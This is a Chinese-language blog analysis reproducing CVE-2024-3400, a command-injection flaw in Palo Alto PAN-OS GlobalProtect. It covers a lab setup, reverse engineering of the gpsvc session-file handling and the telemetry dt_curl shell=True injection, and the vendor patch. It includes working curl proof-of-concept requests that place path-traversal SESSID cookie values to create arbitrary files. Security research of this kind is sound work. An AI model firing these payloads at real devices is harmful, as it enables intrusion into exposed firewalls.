CVE-2024-3400 Palo Alto Networks PAN-OS命令注入漏洞
2024-4-20 23:12:54 Author: govuln.com(查看原文) 阅读量:62 收藏

TL; DR

4月12日的是看到 paloaltonetworks 有一个安全公告[^1], CVE编号是 CVE-2024-3400, 漏洞是一个命令注入,影响的版本如下:

image.png

然后在复现的过程中发现 watchTowr Labs[^2] 已经发了他们的分析, 那就顺着他们的分析学习下这洞吧, 这里提下我的复现版本为 10.2.9

环境搭建

由于漏洞公告[^1]提到, 该漏洞的影响需要 PAN-OS 配置 GlobalProtect portal 或者 GlobalProtect gateway, 所以我们需要先完整的搭建下我们的环境。

简单说下配置的流程, 我这里的配置是参考 QWB S6 Final Pan 这个题目的环境配置的( 亏我还能找到这个题目的虚拟机), 另外提一句当时强网杯利用的 CVE-2021-3064 这个漏洞还是蛮有意思的。

首先,我的虚拟机有三个网卡,

image.png

网卡1是管理口, 网卡2准备用来做门户和网关的网段 ,我这里用的网段是 192.168.100.1/24 。 登陆到管理口的后台后,依次设置

  • NETWORK->接口 设置以太网接口, 接口类型设置为 3层, 设置 IPV4 的静态 IP

image.png

  • DEVICE->证书管理->证书, 生成 RootCert 再基于 RootCert 派发一个 gp_cer

image.png

  • DEVICE->证书管理-> SSL/TLS 服务配置文件 依据 gp_cert 配置 SSL_PROFILE

image.png

  • 然后到 NETWORK->GlobalProtect->门户 配置门户, 中间可能少了一点东西, 这里贴一下我的配置项, 缺什么补什么就好了

image.png

image.png

  • NETWORK->GlobalProtect->网关 网关配置是也是差不多

image.png

image.png

然后现在在另外一台虚拟机里,也设置上同样的 192.168.100.1/24 网段的网卡, 就可以访问到门户了

image.png

由于没有所谓的设备证书, 此次漏洞能命令执行提到的 telemetry 功能是不可用状态

image.png

访问 https://192.168.1.101/ssl-vpn/hipreport.esp 就是 https://192.168.1.101/ssl-vpn/hipreport.esp 的返回

image.png

shell 和文件系统的获取直接用了当时 QWB时候 Larryxi[^3] 大哥提供的方法

  • patch vmem获取本地shell
    • sed -i "s/\/usr\/local\/bin\/cli/\/\/\/\/\/\/\/\/\/\/\/\/bin\/sh/g" PA1029-9aad9851.vmem
    • sed -i "s/admin:x:1001:1004/admin:x:0000:0000/g" PA1029-9aad9851.vmem
  • 查看固件内容方式, 挂载 vmdk 就行
    j
    1
    2
    3
    sudo modprobe nbd
    sudo qemu-nbd -c /dev/nbd1 /mnt/hgfs/qwb-final/PA-disk1.vmdk
    sudo mount /dev/nbd1p2 /mnt/panos/

这样就可以 admin 用户登陆之后是一个 root 权限的 shell , 之后调试之类的也可使用 ssh 登陆

漏洞分析

在[^1] 文章就已经提到了漏洞的触发路径, 首先是 gpsvc 文件在处理 Cookie 字段的时候会有一个任意文件写, 其次是 telemetry 功能的定时任务 device_telemetry_send 会用 /usr/local/bin/dt_send 发送数据的时候会拼接文件名到命令中,造成命令注入。

我们依次简单分析下

gpsvc 任意文件写分析

通过 netstat 命令, 我们可以看到 gpsvc 监听在 20277 端口上,

image.png

在查看 /etc/nginx/sslvpn/localtion.conf 的配置文件中, 我们看到如下配置

image.png

可以看到 ssl-vpn 相关的部分接口为通过 nginx 代理转发到 20177 端口, 就是 gpsvc 程序里处理。

逆向分析

我们把程序拿出来分析, 坏消息是这个程序是 golang 编写的, 好像是有符号, 而且我们已经知道了漏洞大致位置, 可以通过直接找到 main__ptr_SessDiskStore_New 函数

我们在这个函数里可以看到一个通过 Cookie 里的值然后拼接文件名的操作,

image.png

比如我们在 146 行下一个断点, 然后使用如下 PoC 触发:

1
2
3
4
5
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 158' \
-b $'SESSID=/../../../tmp/hacked' \
--data-binary $'user=watchTowr&portal=watchTowr&authcookie=e51140e4-4ee3-4ced-9373-96160d68&domain=watchTowr&computer=watchTowr&client-ip=watchTowr&client-ipv6=watchTowr&md5-sum=watchTowr&gwHipReportCheck=watchTowr' \
$'https://192.168.1.101/ssl-vpn/hipreport.esp'

到达main__ptr_SessDiskStore_New 函数的backtrace如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(gdb) bt
#0 main.(*SessDiskStore).New (s=0xc000821800, r=0xc00260f400, name=..., ~r2=0x0, ~r3=...)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_session.go:103
#1 0x0000000000a472c3 in github.com/gorilla/sessions.(*Registry).Get (s=0xc00c1a6a60, store=..., name=..., session=0x0, err=...)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/3p/pkg/mod/github.com/gorilla/[email protected]/sessions.go:139
#2 0x0000000000aee55d in main.(*SessDiskStore).Get (s=0xc000821800, r=0xc00260f400, name=..., ~r2=0x0, ~r3=...)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_session.go:87
#3 0x0000000000af606a in main.(*GpTask).initHttp (t=0xc00725eb00, r=0xc00260f400, ~r1=...)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_task.go:442
#4 0x0000000000afd0a9 in main.(*GpTask).RunHttp (t=0xc00725eb00, w=..., r=0xc00260f400, ~r2=false)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_task.go:802
#5 0x0000000000b10b48 in main.(*GpTaskMgmt).MainHttpEntry (tm=0xc000870000, w=..., r=0xc00260f300)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_taskmgmt.go:450
#6 0x0000000000b3aadd in main.(*GpTaskMgmt).MainHttpEntry-fm (w=..., r=0xc00260f300)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_taskmgmt.go:406
#7 0x0000000000867f74 in net/http.HandlerFunc.ServeHTTP (f={void (net/http.ResponseWriter, net/http.Request *)} 0xc00c2077a8, w=..., r=0xc00260f300)
at /usr/local/go/src/net/http/server.go:2036
#8 0x0000000000a78e56 in github.com/gorilla/mux.(*Router).ServeHTTP (r=0xc0006c20c0, w=..., req=0xc00260f300)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/3p/pkg/mod/github.com/gorilla/[email protected]/mux.go:210
#9 0x000000000086c7df in net/http.serverHandler.ServeHTTP (sh=..., rw=..., req=0xc00260f100) at /usr/local/go/src/net/http/server.go:2831
#10 0x0000000000866f1a in net/http.(*conn).serve (c=0xc0081981e0, ctx=...) at /usr/local/go/src/net/http/server.go:1919
#11 0x0000000000467411 in runtime.goexit () at /usr/local/go/src/runtime/asm_amd64.s:1357
#12 0x000000c0081981e0 in ?? ()
#13 0x0000000000d79060 in ?? ()
#14 0x000000c00c150680 in ?? ()
#15 0x0000000000000000 in ?? ()
(gdb)

image.png

此时可以看到 $rdi->array 存储了我们的 payload 的相关字符: session_/../../../tmp/hacked, 我们单步走一步走到调用main_loadSessFile 函数的位置

image.png

image.png

(分析到这,我突然反应过来他是golang 是旧版本的 api 调用 , 搜了下字符串可以知道他的 golang 版本是 1.13.15)

1
.rodata:0000000000C956F6 aGo11315        db 'go1.13.15'  

可以看到 /../ 相关字符被path_filepath_Join函数处理后已经被去除了,问题来了, 是在哪创建的的文件呢?

我们找到 syscall_Open 函数 , 对其进行引用查找, 找到一条这样的调用链

1
main_loadSessFile->main_fileLock->syscall_Open

而此时 main_loadSessFile 的参数就是我们想要创建的文件

image.png

image.png

open 的定义为 int open(const char *pathname, int flags, mode_t mode); 第二个参数是个 flags, 当值为 0x40 的时候为 O_CREAT

O_CREAT 定义位于 fcntl.h 文件中, 可以在 linux 的内核代码[^4]中看到,

1
2
3
4
5
6
#define O_ACCMODE	00000003
#define O_RDONLY 00000000
#define O_WRONLY 00000001
#define O_RDWR 00000002
#ifndef O_CREAT
#define O_CREAT 00000100

O_CREAT 的值通常是 0100,这是一个八进制表示的值, 等同于十进制的 64 ,十六进制的 0x40, 通过查找相关资料[^5]

image.png
发现只有文件不存在的时候才会创建文件。

例如使用如下 payload 尝试创建 /etc/passwd 的时候

1
2
3
4
5
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 158' \
-b $'SESSID=/../../../etc/passwd' \
--data-binary $'user=watchTowr&portal=watchTowr&authcookie=e51140e4-4ee3-4ced-9373-96160d68&domain=watchTowr&computer=watchTowr&client-ip=watchTowr&client-ipv6=watchTowr&md5-sum=watchTowr&gwHipReportCheck=watchTowr' \
$'https://192.168.1.101/ssl-vpn/hipreport.esp'

可以看到 open 是返回了 0

image.png

这个漏洞会创建一个任意路径、文件名可控的文件(不能覆盖文件)。那么攻击者是如何将这么一个漏洞再组合成一个命令执行的呢? 这就得提到 telemetry 功能了

telemetry 命令文件分析

根据官网 [^5] 的介绍, 该功能是一个定时发送数据到远端的一个功能, 在环境搭建提到的该功能开启需要一个设备证书, 我目前的复现环境是不支持的。 只能分析分析功能了

/etc/cron.d 可以看到很多和 telemetry 相关的定时任务

image.png

其中 /usr/local/bin/dt_send 看起来是用来发送数据的

image.png

该程序由 python 编写, 可以看到简单判断了下功能是不是开启, 然后调用 check_and_send 函数

image.png

check_and_send 函数会接着调用 send_file_dirs_all

image.png

可以看到 send_file_dirs_all 函数会遍历 DEFAULT_DEVTELEM_OUTPUT_DIR 下的文件, 然后再调用 send_file_dir

image.png

而在 send_file_dir 函数中, 用 send_file 函数
image.png

send_file 函数中, 会将文件名拼接到 send_file_cmd 遍历中

image.png

接着调用 cmd_status = techsupport.dosys(send_file_cmd, None) , 运行 dt_curl 命令, 该命令也是一个 python 程序,

dt_curl 里会调用 send_file 函数

image.png

在该函数中就拼接命令, 使用 pansys(curl_cmd, shell=True, timeout=250) 函数调用, 注意这里的 shell=True

image.png

image.png

这里最后调用到 /opt/plugins/2.0/python-lib/pan/pansys/pansys.py 文件中的 dosys

image.png

可以看到这里的shell参数默认是 False 的 但是由于send_file 调用的是传递进来设置了成了 True, 因此可以命令注入 。

Diff Patch

image-20240420215633491

新增了个 seesion 检查函数?
image.png

从日志可以可以看到似乎加了检查 {"level":"error","task":"3-22","time":"2024-04-20T06:28:12.18264473-07:00","message":"ArgFilterCheck: authcookie input is invalid"}

刚好也是这个补丁加的样子, 从编译路径来看

1
2
3
4
(gdb) bt
#0 main.(*GpTask).ArgFilterCheck (t=0xc000093080, filterName=..., argName=..., value=..., ~r3=9)
at /opt/build/workspace/NOMAD/89c94875/workspace/ations_gpsvc_hotfix_10.2.9-hf-ga/src/apps/pan_gpsvc_task.go:615
#1 0x0000000000afb593 in main.(*GpTask).ArgFilterCheckUser (t=0xc000093080, value=..., ~r1=0)

修复了 shell=True 的问题
image.png

思考

一个空文件创建到命令执行, 想必这个攻击者估计找这个功能了找了不少时间吧,此外该漏洞的利用目前需要开启telemetry 功能, 那么是否还有可以利用这个空文件创建的地方呢? 这么大的一个系统也许还有吧, 有时间可以在仔细看看

image.png

[^1]: CVE-2024-3400 https://security.paloaltonetworks.com/CVE-2024-3400
[^2]: palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400 https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/
[^3]: Larryxi blog https://aslr.io/about/
[^4]: fcntl.h#24 https://elixir.bootlin.com/linux/latest/source/include/uapi/asm-generic/fcntl.h#L24
[^5]: device-telemetry-overview https://docs.paloaltonetworks.com/pan-os/11-0/pan-os-admin/device-telemetry/device-telemetry-overview


文章来源: https://govuln.com/news/url/B1Or
如有侵权请联系:admin#unsafe.sh